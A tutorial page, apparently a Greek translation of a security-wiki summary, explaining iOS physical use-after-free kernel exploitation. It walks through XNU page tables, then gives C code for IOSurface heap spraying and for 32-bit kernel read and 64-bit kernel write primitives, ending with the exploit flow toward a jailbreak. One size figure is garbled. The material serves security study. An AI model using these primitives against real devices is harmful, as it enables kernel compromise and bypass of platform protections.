iOS Exploiting

Physical use-after-free

Αυτή είναι μια περίληψη από την ανάρτηση από https://alfiecg.uk/2024/09/24/Kernel-exploit.html επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο https://github.com/felix-pb/kfd

Memory management in XNU

Ο εικονικός χώρος διευθύνσεων μνήμης για τις διεργασίες χρήστη στο iOS εκτείνεται από 0x0 έως 0x8000000000. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα στη φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί πίνακες σελίδων για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές φυσικές διευθύνσεις.

Levels of Page Tables in iOS

Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:

  1. L1 Page Table (Επίπεδο 1):

  • Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.

  • Καλύπτει 0x1000000000 bytes256 GB) εικονικής μνήμης.

  1. L2 Page Table (Επίπεδο 2):

  • Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα 0x2000000 bytes (32 MB).

  • Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή μόνη της.

  1. L3 Page Table (Επίπεδο 3):

  • Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή χαρτογραφεί μια μεμονωμένη 4 KB σελίδα μνήμης.

  • Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.

Mapping Virtual to Physical Memory

  • Άμεση Χαρτογράφηση (Block Mapping):

  • Ορισμένες εγγραφές σε έναν πίνακα σελίδων χαρτογραφούν άμεσα ένα εύρος εικονικών διευθύνσεων σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).

  • Δείκτης σε Παιδικό Πίνακα Σελίδων:

  • Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν παιδικό πίνακα σελίδων στο επόμενο επίπεδο (π.χ., L2).

Example: Mapping a Virtual Address

Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση 0x1000000000:

  1. L1 Table:

  • Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν δείκτη σε έναν πίνακα L2, πηγαίνει σε αυτόν τον πίνακα L2.

  1. L2 Table:

  • Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή χαρτογράφηση. Αν αυτή η εγγραφή δείχνει σε έναν πίνακα L3, προχωρά εκεί.

  1. L3 Table:

  • Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη φυσική διεύθυνση της πραγματικής σελίδας μνήμης.

Example of Address Mapping

Αν γράψετε τη φυσική διεύθυνση 0x800004000 στον πρώτο δείκτη του πίνακα L2, τότε:

  • Οι εικονικές διευθύνσεις από 0x1000000000 έως 0x1002000000 χαρτογραφούνται σε φυσικές διευθύνσεις από 0x800004000 έως 0x802004000.

  • Αυτό είναι μια χαρτογράφηση μπλοκ στο επίπεδο L2.

Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:

  • Κάθε σελίδα 4 KB στην εικονική διεύθυνση 0x1000000000 -> 0x1002000000 θα χαρτογραφείται από μεμονωμένες εγγραφές στον πίνακα L3.

Physical use-after-free

Μια φυσική χρήση μετά την απελευθέρωση (UAF) συμβαίνει όταν:

  1. Μια διεργασία κατανέμει κάποια μνήμη ως αναγνώσιμη και εγγράψιμη.

  2. Οι πίνακες σελίδων ενημερώνονται για να χαρτογραφήσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.

  3. Η διεργασία απελευθερώνει (ελευθερώνει) τη μνήμη.

  4. Ωστόσο, λόγω ενός σφάλματος, ο πυρήνας ξεχνά να αφαιρέσει τη χαρτογράφηση από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.

  5. Ο πυρήνας μπορεί στη συνέχεια να ανακατανείμει αυτή τη "ελευθερωμένη" φυσική μνήμη για άλλους σκοπούς, όπως δεδομένα πυρήνα.

  6. Δεδομένου ότι η χαρτογράφηση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να διαβάσει και να γράψει σε αυτή τη φυσική μνήμη.

Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε σελίδες μνήμης πυρήνα, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να χειριστεί τη μνήμη του πυρήνα.

Exploitation Strategy: Heap Spray

Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται heap spray:

  1. Ο επιτιθέμενος δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface στη μνήμη του πυρήνα.

  2. Κάθε αντικείμενο IOSurface περιέχει μια μαγική τιμή σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.

  3. Σαρώνονται οι ελευθερωμένες σελίδες για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα.

  4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να διαβάσουν και να γράψουν στη μνήμη του πυρήνα.

Περισσότερες πληροφορίες σχετικά με αυτό στο https://github.com/felix-pb/kfd/tree/main/writeups

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή").

  2. Scan Freed Pages: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα.

  3. Read/Write Kernel Memory: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν τυχαίες αναγνώσεις και εγγραφές στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:

  • Να χρησιμοποιούν ένα πεδίο για να διαβάσουν οποιαδήποτε 32-bit τιμή στη μνήμη του πυρήνα.

  • Να χρησιμοποιούν ένα άλλο πεδίο για να γράψουν 64-bit τιμές, επιτυγχάνοντας μια σταθερή πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα.

Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Αναζητήστε αντικείμενα IOSurface σε μία ελεύθερη φυσική σελίδα:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Επιτυχία Kernel Read/Write με IOSurface

Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για τυχαίες λειτουργίες ανάγνωσης και εγγραφής στον kernel.

Κύρια Πεδία στο IOSurface

Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:

  1. Δείκτης Χρήσης: Επιτρέπει μια 32-bit ανάγνωση.

  2. Δείκτης Χρονοσήμανσης με Ευρετήριο: Επιτρέπει μια 64-bit εγγραφή.

Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.

32-Bit Kernel Read

Για να εκτελέσουμε μια ανάγνωση:

  1. Επαναγράψτε τον δείκτη χρήσης ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte.

  2. Χρησιμοποιήστε τη μέθοδο get_use_count για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Για να εκτελέσετε μια εγγραφή:

  1. Επαναγράψτε τον δείκτη χρονοσήμανσης με δείκτη στη στοχευμένη διεύθυνση.

  2. Χρησιμοποιήστε τη μέθοδο set_indexed_timestamp για να γράψετε μια 64-bit τιμή.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Ανακεφαλαίωση Ροής Εκμετάλλευσης

  1. Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.

  2. Ψεκασμός Αντικειμένων IOSurface: Δεσμεύστε πολλά αντικείμενα IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.

  3. Εντοπισμός Προσβάσιμου IOSurface: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.

  4. Κατάχρηση Χρήσης-Μετά-Απελευθέρωση: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη ανάγνωση/εγγραφή πυρήνα μέσω μεθόδων IOSurface.

Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες 32-bit αναγνώσεις και 64-bit εγγραφές στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).

Last updated